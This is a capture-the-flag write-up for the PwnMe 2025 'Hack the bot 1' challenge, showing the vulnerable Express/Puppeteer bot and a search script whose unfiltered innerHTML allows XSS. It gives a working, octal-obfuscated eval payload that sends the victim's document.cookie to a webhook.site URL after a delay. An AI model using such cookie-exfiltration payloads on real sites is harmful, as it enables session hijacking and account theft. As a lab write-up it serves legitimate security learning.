PwnMe CTF Quals 2025 — Hack the bot 1
I've developed a little application to help me with my pentest missions, with lots of useful payloads! I even let users add new payloads, but since I was in a rush I didn't have time to test the security of my application, could you take care of it ?
We're given an express server that looks like this:
1const express = require('express');
2const path = require('path');
3const fs = require('fs');
4const { spawn } = require('child_process');
5const puppeteer = require('puppeteer');
6const { format } = require('date-fns');
7
8const app = express();
9const port = 5000;
10
11const logPath = '/tmp/bot_folder/logs/';
12const browserCachePath = '/tmp/bot_folder/browser_cache/';
13
14const cookie = {
15 name: 'Flag',
16 value: "PWNME{FAKE_FLAG}",
17 sameSite: 'Strict'
18};
19
20app.use(express.urlencoded({ extended: true }));
21
22app.use(express.static(path.join(__dirname, 'public')));
23
24app.set('views', path.join(__dirname, 'views'));
25app.set('view engine', 'ejs');
26
27if (!fs.existsSync(logPath)) {
28 fs.mkdirSync(logPath, { recursive: true });
29}
30
31if (!fs.existsSync(browserCachePath)) {
32 fs.mkdirSync(browserCachePath, { recursive: true });
33}
34
35const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
36
37async function startBot(url, name) {
38 const logFilePath = path.join(logPath, `${name}.log`);
39
40 try {
41 const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
42 logStream.write(`${new Date()} : Attempting to open website ${url}\n`);
43
44 const browser = await puppeteer.launch({
45 headless: 'new',
46 args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
47 });
48
49 const page = await browser.newPage();
50 await page.goto(url);
51
52 if (url.startsWith("http://localhost/")) {
53 await page.setCookie(cookie);
54 }
55
56 logStream.write(`${new Date()} : Successfully opened ${url}\n`);
57
58 await sleep(7000);
59 await browser.close();
60
61 logStream.write(`${new Date()} : Finished execution\n`);
62 logStream.end();
63 } catch (e) {
64 const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
65 logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
66 logStream.end();
67 }
68}
69
70app.get('/', (req, res) => {
71 res.render('index');
72});
73
74app.get('/report', (req, res) => {
75 res.render('report');
76});
77
78app.post('/report', (req, res) => {
79 const url = req.body.url;
80 const name = format(new Date(), "yyMMdd_HHmmss");
81 startBot(url, name);
82 res.status(200).send(`logs/${name}.log`);
83});
84
85app.listen(port, () => {
86 console.log(`App running at http://0.0.0.0:${port}`);
87});Seemingly, the server sets up a simple "admin bot" whose cookie we need to extract via XSS.
But where is the XSS vulnerability? Looking in the script loaded by index.ejs,
1// Implements search functionality, filtering articles to display only those matching the search words (considering whole words case-insensitive matches)
2
3function getSearchQuery() {
4 const params = new URLSearchParams(window.location.search);
5 // Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
6 return params.get('q') ? params.get('q').toLowerCase() : '';
7}
8
9document.addEventListener('DOMContentLoaded', function() {
10 const searchQuery = getSearchQuery();
11 document.getElementById('search-input').value = searchQuery;
12 if (searchQuery) {
13 searchArticles(searchQuery);
14 }
15});
16
17document.getElementById('search-icon').addEventListener('click', function() {
18 searchArticles();
19});
20
21document.getElementById('search-input').addEventListener('keypress', function(event) {
22 if (event.key === 'Enter') {
23 searchArticles();
24 }
25});
26
27function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
28 const searchWords = searchInput.split(/[^\p{L}]+/u);
29 const articles = document.querySelectorAll('.article-box');
30 let found = false;
31 articles.forEach(article => {
32 if (searchInput === '') {
33 article.style.display = '';
34 found = true;
35 } else {
36 const articleText = article.textContent.toLowerCase();
37 const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
38 if (isMatch) {
39 article.style.display = '';
40 found = true;
41 } else {
42 article.style.display = 'none';
43 }
44 }
45 });
46 const noMatchMessage = document.getElementById('no-match-message');
47 if (!found && searchInput) {
48 noMatchMessage.innerHTML = `No results for "${searchInput}".`;
49 noMatchMessage.style.display = 'block';
50 } else {
51 noMatchMessage.style.display = 'none';
52 }
53}The idea seems to be that
- The page automatically populates
search-inputwith our passed-in query string. - For each "word" (tokens separated by characters not in the unicode letter category) in our query, we perform a case-insensitive Regex match against the text of each article on the page.
- If no matches are found, we get direct
innerHTMLaccess -> XSS.
But there's one last problem; the page's articles look like this:
so we need to be careful about choosing an XSS payload that doesn't match any of the banned tokens above. Looking online, one such payload is
1<vinh oncontentvisibilityautostatechange="..." style=display:block;content-visibility:auto>but our executed JS can't contain any of the banned tokens, either. To be safe, we can use JS's deprecated octal escape sequence syntax to encode our payload as
1fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`)1eval('\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51')One final hiccup: looking at the bot source again,
1 const page = await browser.newPage();
2 await page.goto(url);
3
4 if (url.startsWith("http://localhost/")) {
5 await page.setCookie(cookie);
6 }the admin visits the page before setting its cookie. As a simple solution, we can just sleep for a bit before exfiltrating the cookie via XSS,
1console.log([...'setTimeout(() => fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`), 3000)'].map(s => '\\' + s.charCodeAt(0).toString(8)).join(''))giving us a final payload looking like
1<vinh oncontentvisibilityautostatechange="eval('\163\145\164\124\151\155\145\157\165\164\50\50\51\40\75\76\40\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51\54\40\63\60\60\60\51')" style=display:block;content-visibility:auto>Reporting this to the bot, we get the flag:
1PWNME{D1d_y0U_S4iD-F1lt33Rs?}